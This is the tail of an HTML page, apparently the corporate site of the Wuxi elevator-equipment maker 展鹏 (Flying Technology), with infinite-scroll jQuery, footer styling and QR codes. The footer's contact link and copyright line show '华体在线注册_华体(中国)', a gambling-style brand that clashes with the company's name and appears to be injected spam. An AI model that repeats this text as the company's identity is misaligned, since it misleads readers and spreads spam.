                    </div>
                                        <div class="separator separator-dashed my-4"></div>
                                                            <div class="d-flex flex-stack">
                        <div class="article-item">
                            <div class="article-date">02·06 <br><span>2026</span></div>
                            <a href="/index.php?c=show&id=471" class="article-text">2025中国电梯行业核心数据解读：产量稳中有降，出口领航高质量发展</a>
                        </div>
                    </div>
                                                        </div>
            </div>
        </div>

        <div class="tac item__text__arrow">
            <a href="/index.php?c=category&id=1" class="btn-custom-more">了解更多 →</a>
        </div>
    </div>
</div>

<script>
    var Mpage = 1;
    var scroll_get = true;

    $(document).ready(function () {
        $(window).scroll(function () {
            if (scroll_get == true && (400 + $(window).scrollTop()) > ($(document).height() - $(window).height())) {
                scroll_get = false;
                dr_ajax_load_more();
            }
        });

        if ($(".item__image__inner img").length) {
            let imght = $(".item__image__inner img").css("height");
            $(".blk-about1__text").css("height", imght);
        }
    });

    function dr_ajax_load_more() {
        Mpage++;
        $.get('/index.php?s=api&c=api&m=template&name=index_data.html&format=json&page=' + Mpage + '&' + Math.random(), function(res) {
            $('.footer-cont').hide();
            if (res.code == 1) {
                if (res.msg.indexOf("<!--begin::Icon-->") != -1) {
                    $('#content_list').append(res.msg);
                    scroll_get = true;
                }
            } else {
                layer.msg(res.msg, {time: 2500});
            }
        }, 'json');
    }

    (function(){
        var bp = document.createElement('script');
        var curProtocol = window.location.protocol.split(':')[0];
        if (curProtocol === 'https') {
            // bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
        } else {
            // bp.src = 'http://push.zhanzhang.XXXXiiiiiOOOOPPPPOOOO.com/push.js';
        }
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s);
    })();
</script>

<div class="pagetop" id="pagetop"><a href="#top"></a></div>
<footer class="footer">
   <div class="footer__top" >&nbsp;</div>
    <div class="footer__inner">
    <style>
      .footer__top { 
        text-align: center;
        width: 100%;
        height: 50px;
        line-height: 50px;
        display: block;
      }

      /* 修改footer__info使其与屏幕宽度相同且内容居中紧凑 */
      .footer__info {
        display: flex;
        flex-wrap: nowrap;
        gap: 40px; /* 进一步减小间距使布局更紧凑 */
        width: 100%;
        position: relative;
        left: 50%;
        right: 50%;
        margin-left: -50%;
        margin-right: -50%;
        padding: 0 15px;
        box-sizing: border-box;
        justify-content: center; /* 整体居中 */
        align-items: flex-start;
      }

      /* 调整各个元素使其居中紧凑排成一排 */
      .footer-logo {
        flex-shrink: 0;
        margin: 0;
      }

      .footer__links {
        flex: 1;
        display: flex;
        gap: 20px; /* 进一步减小间距 */
        min-width: auto;
        position: static;
        margin: 0;
        justify-content: center;
        max-width: 280px;
      }

      .footer-logo-text {
        flex: 1;
        min-width: 100px;  
        text-align: center;
      }

      .footer-logo-site {
        flex: 1;
        min-width: 180px;
        text-align: center; /* 修改为居中 */
        margin: 0;
        max-width: 440px;
      }

      .footer-taobao-text {
        flex-shrink: 0;
        margin: 0;
        display: flex;
        align-items: center;
      }

      .footer-taobao-block{
        width: 220px;
        margin-left: 40px;
      }
      

      /* ?默认隐藏移动端块，移动端再显示 */
      .footer-taobao-block2{
        display: none;
        width: 220px;
      }

      /* ?新增：二维码并排展示（宽度不超过右侧区域） */
      .footer-qrcodes{
        display: flex;
        gap: 12px;
        justify-content: center;
        align-items: center;
      }

      .footer-qrcode{
        text-align: center;
      }

      .footer-qrcode img{
        width: 96px;        /* 两张并排：96*2 + 12 = 204，不超过 220 宽度限制 */
        max-width: 100%;
        height: auto;
        display: block;
      }

      .footer-qrcode-label{
        margin-top: 6px;
        font-size: 12px;
        line-height: 16px;
        color: #fff;
      }

      /* 中等屏幕适配 */
      @media (max-width: 1199.98px) {
        /* ?修正：原来这里写 10px 会把右侧挤没，二维码放不下 */
        .footer-taobao-block{
          width: 220px;
        }

        /* 保持footer元素水平排列并居中紧凑 */
        .footer__info {
          flex-wrap: nowrap;
          gap: 6px; /* 进一步减小间距 */
          justify-content: center;
        }

        .footer__links {
          width: auto;
          position: static;
          margin: 0;
          gap: 5px;
          justify-content: center;
          max-width: 300px;
        }

        .footer-logo-site {
          min-width: 160px;
          text-align: center;
        }
      }

      /* 小屏幕适配 */
      @media (max-width: 991.98px) {
        /* 在小屏幕上也保持一排，但可能需要横向滚动，并确保居中 */
        .footer__info {
          flex-wrap: nowrap;
          overflow-x: auto;
          -webkit-overflow-scrolling: touch;
          justify-content: center;
          gap: 5px;
        }

        .footer__info::-webkit-scrollbar {
          display: none;
        }

        .footer__links {
          flex-wrap: nowrap;
          white-space: nowrap;
          gap: 4px;
          justify-content: center;
        }

        .footer__top {
          display: none !important;
        }

        .footer-logo img {
          max-width: 290px;
          height: auto;
        }

        .footer-logo-text {
          min-width: 90px;
        }

        .footer-logo-text div {
          font-size: 12px;
          height: 26px;
          line-height: 26px;
          text-align: center;
        }

        .footer-logo-site {
          text-align: center;
        }

        .footer-logo-site h2 {
          font-size: 14px;
          text-align: center;
        }

        .footer-address {
          text-align: center;
          font-size: 11px;
        }
      } /* ?补齐：关闭 max-width: 991.98px 的大括号 */

      /* 更小屏幕的适配 */
      @media (max-width: 767px) {
        .footer-taobao-text {
          margin: 0;
          display: block;
        }

        /* 在小屏幕上让元素各自独占一行 */
        .footer__info {
          display: flex;
          flex-direction: column;
          gap: 0;
          align-items: center;
          padding: 15px 0;
        }

        /* 统一所有字体大小 */
        .footer__info * {
          font-size: 12px !important;
        }

        /* 统一行高和间距 */
        .footer__info div,
        .footer__info p,
        .footer__info h2 {
          line-height: 20px !important;
          margin: 0 !important;
          padding: 0 !important;
        }

        /* 确保三个主要元素各自独占一行，统一间距 */
        .footer__info .footer-logo {
          display: block;
          width: 100%;
          max-width: 200px;
          margin: 0 auto 20px auto !important;
          text-align: center;
          order: 1;
        }

        .footer__info .footer-logo img {
          max-width: 100% !important;
          height: auto !important;
        }

        .footer-logo-site {
          display: block;
          width: 100%;
          max-width: 300px;
          margin: 0 auto 20px auto !important;
          text-align: center;
          order: 2;
        }

        .footer-logo-site h2 {
          margin-bottom: 20px !important;
        }

        .footer-logo-site p {
          margin-bottom: 20px !important;
        }

        .footer-logo-site p:last-child {
          margin-bottom: 20px !important;
        }

        /* ?移动端显示二维码块（block2），并隐藏 PC 的 block */
        .footer-taobao-block2 {
          display: block;
          width: 100%;
          max-width: 220px;
          margin: 0 auto 20px auto !important;
          text-align: center;
          order: 3;
        }

        /* 店铺模块内部每一行间距与公司信息模块一致，使用line-height控制 */
        .footer-taobao-block2 .footer-logo-text {
          display: block !important;
        }

        /* 强制覆盖所有内联样式，使用line-height控制行间距 */
        .footer-taobao-block2 .footer-logo-text > div {
          margin: 0 !important;
          padding: 0 !important;
          height: auto !important;
          line-height: 20px !important;
        }

        /* 隐藏空的占位div */
        .footer-taobao-block2 .footer-logo-text > div[style*="height: 5px"] {
          display: none !important;
        }

        .footer__links {
          display: none;
        }

        .footer-taobao-block {
          display: none;
        }

        .footer-logo-text {
          min-width: 80px;
        }

        .footer__bottom {
          width: 100%;
          position: static;
          left: auto;
          right: auto;
          margin-left: 0;
          margin-right: 0;
        }

        .footer__bottom__inner {
          padding: 10px;
        }

        .footer__copyright {
          font-size: 11px;
          line-height: 1.4;
        }
      }

      /* 手机竖屏额外适配 */
      @media screen and (max-width: 480px) and (orientation: portrait) {
        .footer__inner {
          padding: 8px 3px;
        }

        /* 进一步减小间距，确保紧凑 */
        .footer__info {
          gap: 3px;
          justify-content: center;
        }

        .footer__links {
          gap: 2px;
        }

        .footer-logo img {
          max-width: 220px;
        }

        .footer-logo-text {
          min-width: 70px;
        }

        .footer-logo-text div {
          font-size: 10px !important;
          height: 22px !important;
          line-height: 22px;
          text-align: center;
        }

        .footer-logo-site h2 {
          font-size: 12px;
        }

        .footer-address {
          font-size: 10px;
        }

        /* ?超小屏可适当缩小二维码 */
        .footer-qrcode img{
          width: 88px;
        }
      }

      a.px-2{
        line-height: 25px;
      }
    </style>

      <div class="footer__info">
        <!-- 保持图片居中紧凑 -->
        <div class="footer-logo"><img src="/static/default/pc/fimgs/logo-w.png" style="display: block;"></div>

        <!-- 链接区域，移除内联宽度限制，使用CSS控制 -->
        <div class="footer__links">
          <div class="footer-logo-text">
                                          <div>
                                      <a href="/index.php?c=category&id=26" target="_blank" class="px-2">业务布局</a>
                                  </div>
                                                        <div>
                                      <a href="/index.php?c=category&id=1" target="_blank" class="px-2">新闻中心</a>
                                  </div>
                                                        <div>
                                      <a href="https://www.sse.com.cn/assortment/stock/list/info/company/index.shtml?COMPANY_CODE=603488" target="_blank" class="px-2">投资者关系</a>
                                  </div>
                                                                                                                                     
          </div>

          <div class="footer-logo-text">
                                                                                                                        <div>
                                      <a href="/index.php?s=fuwuwangdian&c=category&id=32" target="_blank" class="px-2">支持</a>
                                  </div>
                                                        <div>
                                      <a href="/index.php?c=category&id=3" target="_blank" class="px-2">关于展鹏</a>
                                  </div>
                                                        <div>
                                      <a href="/index.php?c=category&id=14" target="_blank" class="px-2">加入展鹏</a>
                                  </div>
                                                        <div>
                                      <a href="/index.php?c=category&id=13" target="_blank" class="px-2">联系华体在线注册_华体(中国)</a>
                                  </div>
                             
          </div>
        </div>

        <!-- 站点信息，确保内容居中 -->
        <div class="footer-logo-site">
          <h2 style="margin-bottom: 8px;">2026 &copy;华体在线注册_华体(中国)</h2>
          <p class="footer-address" style="margin: 5px 0;">
            江苏省无锡市梁溪区飞宏路8号<br class="hidden-md">
            TEL.0510-81003265 FAX.0510-81003281
          </p>

                    <p class="footer-address" style="margin: 5px 0;">
            <a href="http://beian.miit.gov.cn/" target="_blank" class="icon facebook">
              <font color="white">苏ICP备15055206号-1</font>
            </a>
            <span style="margin: 0 5px;"></span>
            <a target="_blank" href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=32021302000827" rel="nofollow">
              <img src="/static/default/pc/fimgs/logo01-footer.png" style="height:18px;padding-left:3px;padding-right: 4px;margin-bottom:4px;">
              <font color="white">苏公网安备32021302000827号</font>
            </a>
          </p>
                  </div>

        <!-- ?新增：右侧二维码区域（PC/平板显示：并排两个二维码） -->
        <div class="footer-taobao-text footer-taobao-block">
          <div class="footer-qrcodes">
            <div class="footer-qrcode">
              <!-- ?【这里替换】公众号二维码图片路径 -->
              <img src="/static/default/pc/fimgs/二维码1.png" alt="公众号二维码">
              <div class="footer-qrcode-label">公众号</div>
            </div>
            <div class="footer-qrcode">
              <!-- ?【这里替换】服务号二维码图片路径 -->
              <img src="/static/default/pc/fimgs/二维码2.png" alt="服务号二维码">
              <div class="footer-qrcode-label">服务号</div>
            </div>
          </div>
        </div>

        <!-- ?新增：移动端二维码区域（max-width: 767px 时显示） -->
        <div class="footer-taobao-text footer-taobao-block2">
          <div class="footer-qrcodes">
            <div class="footer-qrcode">
              <!-- ?【这里替换】公众号二维码图片路径（同上） -->
              <img src="/static/default/pc/fimgs/二维码1.png" alt="公众号二维码">
              <div class="footer-qrcode-label">公众号</div>
            </div>
            <div class="footer-qrcode">
              <!-- ?【这里替换】服务号二维码图片路径（同上） -->
              <img src="/static/default/pc/fimgs/二维码2.png" alt="服务号二维码">
              <div class="footer-qrcode-label">服务号</div>
            </div>
          </div>
        </div>

      </div>
    </div>

    <!-- footer__bottom 移出 footer 标签，放在 body 末尾，确保它在页面最底部 -->
    <div class="footer__bottom">
      <div class="footer__bottom__inner">
        <p class="footer__copyright">2026 &copy; Flying Technology Co., LTD. All Rights Reserved.</p>
      </div>
    </div>

    <style>
      /* 确保footer__inner也能适应全屏宽度 */
      .footer__inner {
        width: 100%;
        padding: 0;
      }

      .footer__bottom__inner {
        text-align: center;
      }

      .footer__copyright {
        text-align: center;
        margin: 0 auto;
      }

      /* 确保footer本身也是全屏宽度 */
      .footer {
        width: 100%;
        position: relative;
      }
    </style>
</footer>

<!--start:Javascript-->  
<script src="/static/default/pc/fjs/aos.js"></script>
<script src="/static/default/pc/fjs/jquery.mb.YTPlayer.min.js"></script>
<script src="/static/default/pc/fjs/app.js"></script>
<script>
</script>
<!--end::Javascript-->
</body>
<!--end::Body-->
</html>